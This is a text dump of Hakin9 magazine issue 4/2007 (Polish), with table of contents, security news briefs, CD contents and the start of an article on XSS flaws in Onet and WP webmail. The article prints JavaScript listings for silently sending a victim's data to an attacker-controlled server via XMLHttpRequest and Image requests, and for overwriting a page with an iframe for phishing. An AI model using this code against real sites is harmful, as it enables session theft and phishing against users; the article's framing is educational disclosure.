Hakin9 24 (04 2007) PL

background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 4/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Przedstawiamy garść najciekawszych wiadomości

ze świata bezpieczeństwa systemów informatycz-

nych i nie tylko

Zawartość CD

Prezentujemy zawartość i sposób działania najnow-

szej wersji naszej sztandarowej dystrybucji haki-

n9.live

Atak

Błędy w serwisach Onet i WP,

Allegro i mBank

Michał Majchrowicz

Michał przedstawia jak działają przykładowe sys-

temy zabezpieczenia przed XSS oraz jak można je

obejść.

Hak na Windows

Jacek Matulewski

Jacek pokazuje w jaki sposób korzystać z mechani-

zmu haków systemu Microsoft Windows, w szczegól-

ności w jaki sposób wykorzystać go do podsłuchiwa-

nia klawiatury.

Atak faktoryzacyjny na RSA

Daniel Lerch Hostalot

Daniel przybliża czytelnikom pojęcie RSA - bez wąt-

pienia najpopularniejszego systemu publicznej kryp-

tografii.Bezpieczeństwo tego popularnego algoryt-

mu jest oparte o trudności związane z faktoryzacją

dużych liczb, czyli tych, które mają ponad 100 cyfr w

zapisie dziesiętnym.

Obrona

Budowanie świadomości usprawnia

poziom bezpieczeństwa

Adam Kuczyński

Adam przedstawia istotę budowania świadomości

zagrożeń i ochrony informacji, a także techniki budo-

wania świadomości oraz sposoby ochrony przed

manipulacją.

Zapora systemu Windows Vista

– a złudne bezpieczeństwo systemu

Artur Żarski

Artur pragnie w swoim artykule pokazać konieczność

korzystania z firewall’i oraz zagrożenia wynikające z

braku jego posiadania.

Zazwyczaj bezpieczeństwo określane jest jako stan braku

zagrożenia, stan spokoju i pewności.

Dla każdego człowieka jest jedną z najważniejszych

spraw, dlatego tak wiele uwagi poświęca się temu zagadnie-

niu. Każdy człowiek pragnie czuć się bezpiecznie w domu,

na spacerze, kiedy surfuje po Internecie, a przede wszystkim

zależy nam na bezpieczeństwie naszych pieniędzy. Ostatni-

mi czasy bardzo głośnym tematem stało się wykrywanie luk

w największych portalach internetowych i bankach. Dlatego

zainteresowaliśmy się tymi wiadomościami. Motywem prze-

wodnim hakin9 4/2007 stały się hakowanie serwisów inter-

netowych, a głównym artykułem: Błędy w serwisach Onet

i WP, Allegro i mBank. Autor, Michał Majchrowicz w swoim

artykule uczula serwisy na podobne luki i wskazuje im wady

w celu poprawy podejścia do błędów typu JavaScript Imjec-

tion, XSS czy Session Fixation.

Udostępnimy Państwu także opinie na temat tego arty-

kułu jednego z omawianych portali.

Czasopismo zawiera znakomite artykuły oraz płytę

CD na której, będzie mozna znaleźć trzecią część CISCO

CCNA oraz dwa nowe tutoriale.

Katarzyna Juszczyńska

06

08

10

20

28

36

40

Sprostowanie

Oświadczamy, że błędy, które wkradły się do receznji ksią-

żek w numerze 2/2007 nie są winą autorów: Krystyny Wal i

Łukasza Długosza. Przepraszamy autorów oraz czytelników

za zaistniałą sytuację.

background image

4

www.hakin9.org

hakin9 Nr 4/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Analiza ryzyka – System Zarządzania

Bezpieczeństwem Informacji

Tomasz Polaczek

Tomek chce przybliżyć pojęcie analizy ryzyka oraz

procesy związane z wdrażaniem sprawnego Systemu

Zarządzania Bezpieczeństwem Informacji.

Przegląd wybranych metod

niwelowania ograniczeń

sieci lokalnych

Konrad Malewski

Konrad w swoim artykule przedstawia jak przekiero-

wywać porty z wykorzystaniem urządzenia IGD oraz

jak stworzyć tunel IP wykorzystujący różne protokoły

wyższych warstw.

Metasploit – Exploiting framework

Michal Merta

Michal w swoim artykule odpowiada na pytania: czy

twój system jest dostatecznie zabezpieczony? Czy

chcesz się nauczyć używania prostego narzędzia, by

to stwierdzić?

Szyfrowanie w aplikacjach

– biblioteka Openssl

Paweł Maziarz

Paweł przedstawia garść informacji na temat jak

zaimplementować szyfrowanie SSL/TLS w swoich

aplikacjach.

Felieton

Niezdrowe trendy w bezpieczeństwie

– full disclosure

Patryk Krawaczyński

Klub Techniczny

GlobalTrust Enigma
Jak mniej czasu poświęcać

na administrowanie pocztą?

Księgozbiór

Szkoła Hakerów

Wojciech Trynkowski

Zapowiedzi

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor:
Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor naczelny: Martyna Żaczek

martyna.zaczek@software.com.pl

Asystent redaktora: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Tłumaczenie: Krzysztof Trynkiewicz

Wyróżnieni betatesterzy: Amadeusz Jasak, Łukasz Witczak, Rafał

Podsiadły

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Godlewska

e-mail: monikag@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

ES

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

46

50

60

66

74

76

77

78

82

background image

W skrócie

hakin9 Nr 4/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 4/2007

Uwaga na oszustów poda-

jących się za Microsoft

Zwykli szarzy śmiertelnicy korzysta-

jący z oprogramowania Microsoft

mogą czuć się bezpieczni. Ostatnie

pogłoski, które docierały do normal-

nych ludzi, że pracownicy Microso-

ftu szukają po domach nielegalnych

programów to tylko plotka. Wszyst-

kie takie poczynania nie są inicjaty-

wą Microsoftu..

Firma pragnie ostrzec przed wpusz-

czaniem do prywatnych mieszkań

osób podszywających się pod firmę

Microsoft i proszą o jakie kolwiek

kontakt w tej sprawie, jeśli sytuacja

taka miała miejsce.

Rozwój Samsung

Electronics

Prawie 2 mld USD ma być przezna-

czone na produkcję modułów pamięci

DRAM w Korei Południowej. A wszyst-

ko to po to aby zwiększyć roczną pro-

dukcję o 90%. Natomiast ma także

wzrosnąć rozwój technologii modu-

łów pamięci DRAM poprzez zwięk-

szenie się pojemności kości pamięci

o 30%. Samsung Electronic jest opty-

mistą, jak twierdzi pomimo niewielkie-

go zysku jaki będzie w pierwszej poło-

wie 2007, wzrost sprzedaży modułów

wzrośnie o 11 procent (w trzecim i

czwartym kwartale).

Luki w gadu-gadu

Wykrywanie luk ostatnimi czasu

stało się bardzo modne. Tym razem

pod lupę poszedł najpopularniejszy

polski komunikator Gadu-Gadu. Po

poinformowaniu odpowiednich osób

o lukach nie podjęto żadnych kroków

w celu załatania ich. Jak się okazu-

ję firma Gadu-Gadu nie otrzymała

żadnej wiadomości, ponieważ mail

jest na liście hostów DSBL i został

odrzucony. Jednak kiedy skontakto-

wano sie z firmą za pomocą komu-

nikatora bardzo szybko zajęto się tą

sprawą w celu uniknięcia niebezpie-

czeństwa na jakie zostali narażeni

użytkownicy komunikatora.

Pierwsza luka znajdowała się w

pliku Management.cpp. Luka naru-

szała pamięć komunikatora co powo-

dowało niepoprawne zamknęcie apli-

kacji. Następna luka nie pozwala na

zdalne wykonanie kodu. Objawia się

to poprzez niemożność zamknięcia

w momencie kiedy jest otwarte okien-

ko zmiana topicu. Może to doprowa-

dzić do uszczerbku w pamięci. Kolej-

na luka, która została wykryta pozwa-

la na atak: denial of service na aplika-

cję Gadu-Gadu.

Laptop dla osób trendy

A

risto Slim 430 Specjal Orange
edition to raj dla osób, którzy

cenią sobie oryginalny wygląd i swoim
sprzętem chcą się wyróźnić z tłumu.
Charakterystyczną cechą komputera
jest biała klawiatura i jaskrawopoma-
rańczowa pokrywa matrycy.

Zalety:

• panoramiczny wyświetlacz Glare

oparty na najnowszej platfor-
mie mobilnej Intel Centrino Duo
z dwurdzeniowym procesorem
Intel Core 2 Duo.

• nagrywarka DVDRW
• sieć bezprzewodowa WiFi
• waży 2 kg.

Wszystkie te zalety prowadzą do
łatwiejszego i szybszego użytkowania
laptopa, w jednym czasie jest możli-
wość odtwarzania obrazu wideo, roz-
mowy internetowej, nagrywania płyt
DVD bez ubytku płynności innych
uruchomionych aplikacji.

Dość lekki komputer może z łatwo-

ścią być transportowany w najciekaw-
sze zakątki świata, a sześcioognio-
wa bateria, która zawiera technologie

oszczedzania baterii pozwala na długi
czas korzystania z urządzenia.

Panoramiczny 13-calowy panel

LCD jest o rozdzielczości WXGA
1280x800 pikseli i daje możliwość
pracy na aplikacjach biurowych i mul-
timedialnych. Oglądanie filmów DVD
jest ogromną przyjemnością dzięki
eliminacji czarnych pasów na górze
i na dole oraz dzięki bardzo żywym
i nasyconym kolorom. Nagrywarka
umożliwia nagrywanie nawet 8,5 GB
na jednej płycie DVD.

Aristo Slim 430 Specjal Orange

edition posiada modem, kartę siecio-
wą GigaLAN oraz kartę sieci bezprze-
wodowej Wireless LAN 802.11ABG
54Mbps. Jest także wyposażony w
mikrofon i głośniki. Notebook jest
objęty gwarancją 24-miesięczną
w systemie DOOR-TO-DOOR, co
wiąże się z darmowym transportem)

Specjalna edycja Aristo Slim

430 jest kierowana do wąskiej grupy
osób ponieważ na rynek trafi tylko
200 egzemplarzy. Przede wszyst-
kim odbiorcami mają być pracowni-
cy agencji reklamowych, dziennika-
rze, artyści, osoby kreatywne.

Wyczyszczone konta banku Nordea

B

ank Nordea należy do najwięk-
szej skandynawskiej grupy

finansowej Nordea. Bank świadczy
usługi bankowe przez Internet, tele-
fon, poprzez usługę sms, WAP oraz
sieć oddziałów. Bankowość elek-
troniczna działa na zasadzie syste-
mu Solo-wielokrotnie nagradzane-
go za sukcesy w bankowości elek-
tronicznej dokonywanej przez Inter-
net. Obsługuje klientów indywidual-
nych i biznesowych. Oferta banku to
między innymi: konto Nordea, rachu-
nek e-firma, e-firma plus, atrakcyjne
lokaty, niskooprocentowane kredyty.

Codziennie szwedzka policja

dostaje kilka zgłoszeń dotyczących
braku pieniędzy na kontach klien-
tów banku Nordea. Straty szacuje
się na kwotę 8 milionów koron. Inter-
netowi złodzieje używają do kradzie-

ży linków, które przesyłają klien-
tom banku w mailach, do tego celu
został stworzony specjalny wirus.
Uaktywnia się on w momencie wpi-
sania przez użytkownika kodu słu-
żącego do jakichkolwiek działań na
koncie. W momencie kiedy dosta-
je e-mail są wykradane dane klien-
ta i przekazywane złodziejom, a ci
dokonują kradzieży poprzez przelew
na swoje konta. Jak donosi policja
wkradające się na konta osoby są
tylko pośrednikami zorganizowane-
go gangu. Podejrzewają że wszyst-
ko zaczyna się w Rosji i dalsze dzia-
łania odbywają się za pomocą ame-
rykańskich serwerów. Policja moni-
toruje poczynania 125 osób związa-
nych z tą sprawą jednak na razie nie
mają konkretnych tropów.

background image

W skrócie

hakin9 Nr 4/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 4/2007

Nielegalny Windows

Od lipca 2005 roku są zbierane dane

dotyczące nielegalnego oprogramo-

wania Windows XP. Dane są niepo-

kojące. Z 512 milionów procesów

sprawdzających około 22 procent

z nich zakończyła się negatywnie,

czyli systemy były nielegalne. Pro-

cedura ta doprowadziła do tego, że

56 tysięcy użytkowników wymieniło

bezpłatnie nielegalną kopię na praw-

dziwy odpowiednik. Poziom świato-

wego piractwa jest szacowany na

poziomie około 35 procent.

Pomysły hakerów

Nie ma to jak dopasowanie się do

otoczenia i do tego co dzieje się

wokół nas. Ostatnio panujące silne

wiatry to nie tylko klęska dla miesz-

kańców, którzy ucierpieli podczas

wichury, jak się okazuje dotknęła ona

również internautów, którzy otworzyli

mail informujący o tej anomalii pogo-

dowej i jej ofiarach. Zainteresowani

tą wiadomością użytkownicy Inter-

netu oprócz wiadomości otrzymy-

wali złośliwe oprogramowanie, które

mogło zainfekować niezabezpieczo-

ny komputer.

Wirus-Small.DAM jest załączo-

ny do wiadomości zatytułowanych:

„230 dead as storm batters Europe”

oraz „British Muslims Genocide”

and „U.S. Secretary of State Con-

doleezza”

W momencie przeglądu wiado-

mości i załącznika komputer zosta-

je zaatakowany przez konia trojań-

skiego i instaluje się na kompute-

rze. Większość firm antywiruso-

wych klasyfikuje Wirus-Small.DAM

do kategorii niegroźnej. Jednak

należy uważać ponieważ zaczy-

nają się pojawiać różne odmiany

wykrytego trojana i ostrożnie otwie-

rać maile pochodzące z niezidenty-

fikowanego źródła.

Taka sytuacja miała już kiedyś

miejsce kiedy to hakerzy wykorzy-

stali Huragan Katrina, który nawie-

dził południowe stany USA. W 2005

roku wykryto zwiększone ataki na

komputery wynikłe z kliknięcia na

mail z załącznikiem z wiadomościa-

mi z tego wydarzenia.

Zagrożenie botnetami

P

odczas Światowego Forum Eko-
nomicznego Vint Cerf, twórca

stosu protokołów TCP/IP, wyraził
opinię, że Sieci zagrażają botnety.

Botnety to sieci komputerów-

zombie, czyli maszyn które bez
wiedzy właściciela są kontrolowa-
ne przez cyberprzestępców. Sieci
takie wykorzystywane są do rozsyła-
nia spamu, szkodliwego oprogramo-
wania oraz przeprowadzania ataków
typu DDoS. Takie poczynania w ostat-
nim czasie stały się groźną bronią w
rękach przestępców wymuszających
haracze za odstąpienie od ataku (co
w przypadku firm zależnych od połą-
czenia sieciowego jak np. portale czy
sklepy internetowe stanowi niemałe
zagrożenie). Całkowitą liczbę kom-
puterów zombie na świecie szacu-
je się na kilka milionów - nie można
jej dokładnie określić, ponieważ stale
rośnie.

Za stworzenie botnetu został ska-

zany na 37 miesięcy pozbawienia wol-
ności dwudziestojednoletni Christo-
pher Maxwell, który zainfekował około

50 tys. komputerów (szkolnych, woj-
skowych oraz należących do szpitala).
Pod wpływem działania botnetu mają-
cego na celu instalowanie oprogramo-
wania adware padł m.in. system szpi-
tala w Seattle.

Zdaniem Cerfa aż 150 milionów

komputerów na świecie jest zarażo-
nych i stanowi część botnetu. Ozna-
czałoby to, że zarażony jest co czwar-
ty komputer podłączony do Sieci.

Specjaliści potwierdzają obawy

Cerfa, a niedawno mogli obserwo-
wać tworzenie i pracę botneta Spam
Thru. Twórcy tego botneta wyposaży-
li go w oprogramowanie antywiruso-
we, które chroniło przed innymi bot-
netami, okazało się również, że jest
on dziesięciokrotnie bardziej wydaj-
ny od konkurencji, a przy tym trud-
niej go wykryć. Spam Thru to był jedy-
nie test, który zapowiada to, co czeka
nas w przyszłości. Botnety rozwija-
ją się w zastraszającym tempie, są
bardzo zaawansowane technologicz-
nie, mniejsze, trudniejsze do wykrycia
i bardziej wydajne niż dotychczas.

Windows Vista

W

indows Vista będzie dostępny w
siedmiu odmianach. Starter Edi-

tion jest przeznaczona dla rynków ubo-
gich. Program ten nie będzie nadawał
się do gier jedynie do obsługi podsta-
wowych sieci TCP/IP. Home Basic Edi-
tion przeznaczona jest dla społeczno-
ści, która korzysta XP Home. Home
Premium Edition wyposażony jest w
Media Center. Jest to wersja droż-
sza, ale bardziej przydatna niż wersja
Basic. Vista Profesional, Small Busi-
ness Edition, Enterprise Edition to
wersje przeznaczone dla firm. Posia-
dają przydatne dla firm narzędzia. Ulti-
mate Edition gromadzi najlepsze funk-
cje z wersji Home i Proffesional. Do tej
pory można było zainstalować wersję
Upgrade Windows Vista na kompu-
terze, który nie posiadał poprzedniej
wersji Okienek. Był łatwy w użyciu,
gdyż wystarczyło włożyć płytę instala-
cyjną do napędu. Program rozpoczynał
swoją pracę. Jednak to uległo zmianie

instalacja będzie możliwa jedynie na
komputerach, gdzie zainstalowany jest
system Windows 2000 lub XP.

Biorąc pod uwagę wygodę użyt-

kowników to nie będą oni zachwyceni
zaistniałą sytuacją. Jednak Microsoft
podaje dwa rozwiązania, po pierwsze
zawsze może użytkownik zainstalować
sobie Windows 2000 lub XP, a następ-
nie Viste. Drugim pomysłem firmy jest
wykupienie sobie klucza, który pozwoli
na instalację na pustym dysku.

Informujemy, że w nocy z 29 na 30

stycznia odbyła się transmisja na żywo
z oficjalnej premiery systemu Windows
Vista i pakietu Office System 2007.
Swoją obecnością zaszczycił sam Bill
Gates. Miała ona miejsce w Nowym
Jorku na Times Square. Jak wiado-
mo przed komputerami aby obejrzeć
to wydarzenie zasiadło spore rzesze
internautów, a ci co nie dane im było
zobaczyć tej gali z pewnością bardzo
żałują.

background image

hakin9.live

hakin9 Nr 4/2007

www.hakin9.org

8

N

a dołączonej do pisma płycie znajduje się haki-
n9.live (h9l) w wersji 3.1-aur – bootowalna dystry-
bucja Auroxa, zawierająca przydatne narzędzia,

dokumentację, tutoriale i materiały dodatkowe do artyku-
łów. Aby zacząć pracę z hakin9.live, wystarczy urucho-
mić komputer z CD1. Po uruchomieniu systemu możemy
zalogować się jako użytkownik hakin9 bez podawania ha-
sła. Materiały dodatkowe zostały umieszczone w nastę-
pujących katalogach:

• tutoriale – 28 tutoriali;
• Aurox-Live;
• materiał uzupełniający do artykułu “Hak na Win-

dows”

programy:

• NetConceal Anonymizer;
• NetConceal AntiHistory;
• MicroWorld eScan Internet Security Suite;
• Enigma lite desktop edition;
• Comodo personal firewall;
• Cisco - Kurs na certyfikat Cisco CCNA cz. III

Materiały archiwalne zostały umieszczone w podkata-
logach _arch. W przypadku przeglądania płyty z pozio-
mu uruchomionego hakin9.live powyższa struktura jest
dostępna z podkatalogu /mnt/cdrom. Wersję hakin9.live
3.1-aur zbudowaliśmy, opierając się o dystrybucję Aurox i
skrypty automatycznej generacji (www.aurox.org/pl/live).

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Linuk-
sa stron pomocy (stron manualna), z których skorzystać
możemy poprzez konsolę wydając polecenie man [na-
zwa programu], wchodzą między innymi tutoriale, przy-
gotowane przez redakcję. Na CD opracowane zostały
praktyczne ćwiczenia do jendego artykułu – “Atak fak-
toryzacyjny na RSA”, który można przeczytać w piśmie.
Zakładamy, że podczas wykonywania ćwiczeń związa-
nych z artykułami i tutorialami, użytkownik korzysta z ha-
kin9.live. Na płycie znajdzie się również tutorial do arty-
kułu z poprzedniego Hakin9- “Czy moje konto php jest
bezpieczne?” A także materiały pomocnicze do artykułu
“Hak na Windows” Jacka Matulewskiego.

NetConceal Anonymizer

Służy do ukrywania adresu IP powodując, że użytkownik
staje się anonimowy, podczas kiedy Internet jest aktyw-
ny i podczas surfowania w sieci. Aplikacja daje gwaran-

Zawartość CD

cje ochrony prywatności i bezpieczeństwa. Program uru-
chamia się automatycznie.

NetConceal AntiHistory

Program służy do kasowanie historii i śladów obecności
użytkownika. Czyści strony internetowe, pliki, dokumen-
ty, listy oraz wiele niebezpiecznych znaków dotyczących
obecności. Łatwy w użyciu: wystarczy wybrać “instaluj” i
kliknąć “start”

Obsługuje systemy i aplikacje:
-Internet Explorer
-Windows
-P2P
-Windows Media Player, RealPlayer
-Microsoft Office
-Instant Messengers (MSN, ICQ)
-WinRAR, WinZip

eScan Internet Security Suite

Program antywirusowy służy do zabezpieczenia kom-
putera oparty na własnym silniku skanującym. W ofercie
programu jest kontrola rodzicielska, filtr okienek, wyska-
kujących, filtr pocztowy, który zapobiega niechcianej po-
czcie, automatyczne aktualizacje, zarządzanie prywatno-
ścią, NetBIOS Firewall

Enigma lite desktop edition

Jest rozwiązaniem opracowanym dla systemu operacyj-
nego Microsoft. Komponenty Desktop Document Secu-
rity integrują się z klientem systemu operacyjnego Win-
dows i komponentami oprogramowania serwera zainsta-
lowanego na MS Windows. Używa najbardziej zaawan-
sowanych mechanizmów kryptografii, jest kompatybilny
ze standardami X509 i SSL v 3.0. Zezwala na użycie cy-
frowych certyfikatów i identyfikatorów. Kompatybilny jest
również z CAC i PKCS#11

Comodo personal firewall

Program służący do ochrony komputera przed wewnętrz-
nymi zagrożeniami-konie trojańskie, oprogramowanie
spyware, robaki różnego rodzaju. Jest bardzo łatwy w
użytkowaniu i nawet nowicjusze nie będą mieli z nim pro-
blemów.

Kurs na certyfikat Cisco CCNA cz. III

Certyfikat CCNA przeznaczony jest dla specjalistów od
niewielkich sieci (do 100 stanowisk) i potwierdza umiejęt-
ności w zakresie instalacji i konfiguracji routerów i prze-
łączników Cisco w sieciach LAN i WAN (poprawa wydaj-
ności i bezpieczeństwa sieci oraz usuwanie problemów).

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

www.hakin9.org

hakin9 Nr 4/2007

10

Atak

K

ażdego dnia z usług Onetu i WP korzy-
sta rzesza ludzi. Oczywistą jest więc
sprawą, iż w takiej sytuacji serwisy te

powinny w szczególny sposób zadbać o kwe-
stię zabezpieczeń, gdyż ewentualna luka mo-
że być katastrofalna w skutkach dla użytkow-
nika serwisu.

Możliwości, jakie daje XSS

W dzisiejszych czasach jesteśmy przyzwycza-
jeni do efektów graficznych na stronach www.
Dzięki zastosowaniu DOM, CSS i JavaScript
programiści witryn są w stanie sprawić, iż sta-
tyczny tekst przemienia się w tętniącą życiem
stronę. Niewielu typowych użytkowników zda-
je sobie sprawę, że te techniki, pozwalające
na fajerwerki i bogatą kolorystykę, mogą rów-
nież zostać użyte przeciwko nim. Jeśli ataku-
jący może w jakikolwiek sposób wstrzyknąć w
treść strony kod skryptu, ma wówczas szero-
kie pole do popisu. Zazwyczaj kod jest jednak
ograniczony na przykład długością, lub zesta-
wem dostępnych znaków. Aby ominąć te ogra-
niczenia używa się bardziej rozwiniętej formy,
czyli Cross Site Scripting (XSS). Polega ona na
dodaniu do treści strony jedynie odwołania do
zewnętrznego skryptu, na który nie są już na-

łożone żadne ograniczenia. Dzięki temu może-
my napisać długi kod, który będzie w stanie wy-
konać bardzo skomplikowane zadania, jak ko-
piowanie danych prywatnych użytkownika, czy
przejmowanie sesji. Do tego celu najlepiej na-
daje się obiekt XMLHttpRequest. Pozwala on
na wykonanie przez JavaScript zapytania http.
Okazuje się to dla nas bardzo użyteczne, po-
nieważ nasz skrypt działa w kontekście zalo-
gowanego użytkownika i ma takie same prawa,
co on. Spójrzmy na przykładowy kod zamiesz-
czony w Listingu 1.

W tym skrypcie sprawdzamy czy, jest do-

stępny obiekt XMLHttpRequest. Jeśli tak, two-
rzymy jego instancję. Następnie wysyłamy po-
lecenie GET jednocześnie zaznaczając, iż nie

Błędy w serwisach

Onet i WP, Allegro i mBank

Michał Majchrowicz

stopień trudności

W Polsce podejście do błędów typu JavaScript Injection, XSS,

Session Fixation, RCSR, itp. jest mniej poważne, niż być powinno.

Podczas swoich testów natknąłem się na błędy w wielu serwisach

internetowych. Niektóre są większe, inne mniejsze. W pierwszej

części tego artykułu chciałbym się skupić na lukach wykrytych

w dwóch największych polskich portalach.

Z artykułu dowiesz się...

• Jak działają przykładowe systemy zabezpiecza-

nia przed XSS oraz jak można je obejść.

Co powinieneś wiedzieć...

• Jak działają luki XSS i JavaScript Injection oraz

jakie niosą ze sobą ryzyko.

background image

Błędy w popularnych serwisach internetowych

hakin9 Nr 4/2007

www.hakin9.org

11

czekamy na jego zakończenie. Nie-
stety obiekt XMLHttpRequest ma
swoje ograniczenia. Z powodu bez-
pieczeństwa nie możemy wywołać
zapytania z jednej domeny do dru-
giej. Na przykład: jeśli nasz kod zo-
stanie uruchomiony na domenie se-
rver.com, to nie możemy przesłać
zdobytych w ten sposób danych do
naszego serwera operującego pod
adresem server2.com. Nie należy
jednak zbytnio ufać temu zabezpie-
czeniu. Jak się okazuje, nadal może-
my tworzyć zapytania do innych do-
men, wysyłać dane, tyle że bez moż-
liwości odebrania odpowiedzi. Aku-
rat w naszym przypadku nie jest to
niezbędne. Zmodyfikowany kod po-
zwalający na odwołania pomiędzy
domenami zobaczymy na Listingu 2.

Tworzymy tutaj nowy obiekt

Image i jako jego źródło podajemy
nasz url. Dzięki temu przeglądarka
wykona nasze polecenie przy próbie
załadowania obrazka. Zarówno do
funkcji SendRequest, jak i SendRe-
quest2 odwołujemy się w ten sam
sposób. Jako parametr podajemy
adres url wraz z nazwą skryptu oraz
zmienne i ich wartości, jakie chcemy
w ten sposób przekazać (np. Sen-

dRequest,

http://www.server.com/

hack.php?var1=val1)). Korzystając
z obiektu XMLHttpRequest możemy
pobrać dowolne dane z podatnego
serwisu, a następnie informacje zdo-
byte w ten sposób przesłać do dowol-
nego miejsca w sieci dzięki funkcji
SendRequest2. Możliwości tej tech-
niki dla atakującego są niezliczone.
Możemy sobie wyobrazić sytuację,
w której odpowiednio skonstruowany
skrypt prześle wszystkie dostępne
dane Oczywiście nic nas też nie
ogranicza w próbach zmiany treści
strony. Spójrzmy na przykład na kod
zamieszczony w Listingu 3.

Po upływie 100ms, czyli czasu

niezauważalnego dla człowieka,
zostanie wykasowany cały kod wi-
tryny, a w jego miejsce umieszczony
zostanie znacznik iframe, wskazujący
na dowolną stronę. Jest to wręcz ide-
alna technika dla wszelkiego rodzaju
ataków phishingowych. Użytkownik
spoglądając na pasek adresowy
przeglądarki będzie przekonany, że

nadal znajduje się na właściwiej do-
menie, podczas gdy wszelkie jego
zachowania mogą być już śledzone.

Poczta Onet i WP

Podczas analizy systemu zabez-
pieczania treści maili, odbieranych
przez internautów, którzy korzystają
z usług Onetu i WP, zauważyłem, że
możliwe jest dodanie do treści maila
kodu JavaScript, który zostanie uru-
chomiony na komputerze odbiorcy
odpowiednio spreparowanej wia-
domości. Odkryte przeze mnie luki
w skryptach filtrujących miały różny
charakter. Czasami chodziło o omi-
janie przez system filtracyjny części
kodu, innym razem o przetwarzanie
białych znaków, na które przeglą-
darki nie zwracają uwagi. W tym
tekście chciałbym jednak, w celach
edukacyjnych, skupić się na jednym
konkretnym przykładzie, gdyż jest on
uniwersalny dla obu serwisów.

W przypadku Onetu mamy do czy-

nienia z bardzo rygorystycznym syste-
mem. Wszelkiego rodzaju podejrza-
ne znaczniki są albo usuwane, albo
zastępowane przez div-y. Można by
tu polemizować, czy aż taki poziom
zabezpieczeń jest konieczny, ale nie
można kwestionować tego, iż na pew-
no jest skuteczny. Onet popełnił jed-
nak jeden błąd. Mianowicie zawartość
załącznika html, wyświetlanego za po-
mocą funkcji pokaż nie jest tak dobrze
oczyszczana, a co za tym idzie, moż-
liwe jest wstrzyknięcie naszego kodu.
W przypadku Wirtualnej Polski ma-
my do czynienia z innym podejściem.
Skanuje ona w ten sam sposób za-
równo treść maila, jak i załączniki
html. Sposób skanowania jest jednak
mniej restrykcyjny. Spójrzmy na przy-
kład, jak są filtrowane znaczniki posia-
dające atrybuty src lub href. Otóż, nie
zezwala się w mailu na obecność od-
wołań do zewnętrznych serwisów. Je-
śli zatem odwołamy się, np. do ser-

wera http://server.com, nasz text zo-
stanie poprzedzony przez x. Jak wie-
my, żadna przeglądarka nie obsługu-
je protokołu xhttp, xftp, xhtpps, itp. Po
wykryciu któregokolwiek z wyżej wy-
mienionych atrybutów dokonywane są
opisywane zmiany, a użytkownik jest
pytany, czy dane treści mają być od-
blokowane, czyli przywrócone do sta-
nu pierwotnego. Informuje się go rów-
nież, że może to stanowić dla niego
zagrożenie. To podejście ma jedną

Listing 1.

Kod korzystający

z XMLHttpRequest,

lang=JavaScript

var

req

;

function

SendRequest

(

url

)

{

if

(!

req

)

{

if

(

window

.

XMLHttpRequest

)

{

try

{

req

=

new

XMLHttpRequest

();

}

catch

(

e

)

{

req

=

false

;

}

}

}

if

(

req

)

{

req

.

open

(

"GET"

,

url

,

true

);

req

.

send

(

null

);

return

true

;

}

return

false

;

}

Listing 2.

Kod korzystający

z obiektu Image,

lang=JavaScript

function

SendRequest2

(

url

)

{

var

img

=

new

Image

();

img.src=url;

}

Listing 3.

Kod czyszczący dokument i dodający do jego treści obiekt

iframe, lang=JavaScript

document

.

setTimeout

(

'

document

.

innerHTML

=

””

;

'

+

'

document

.

innerHTML

=

<

iframe

width

=

100

%

height

=

100

%

'

+' src=

http://www.hakin9.org

></iframe>”;',100);

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

12

wadę. Jeśli bowiem skrypt serwisu nie
ma zakodowanego jakiegoś specy-
ficznego wykorzystania JavaScript w
danej przeglądarce, nie będzie w sta-
nie go wychwycić, co spowoduje eg-
zekucję kodu od razu po otwarciu ma-
